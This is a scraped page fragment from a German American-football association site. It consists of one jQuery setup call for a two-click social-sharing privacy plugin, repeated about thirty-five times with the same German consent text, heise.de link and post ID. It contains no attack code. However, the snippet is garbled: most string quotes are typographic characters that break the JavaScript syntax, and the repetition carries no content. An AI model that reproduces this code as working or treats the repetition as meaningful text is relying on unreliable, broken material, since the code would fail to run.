jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */

/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
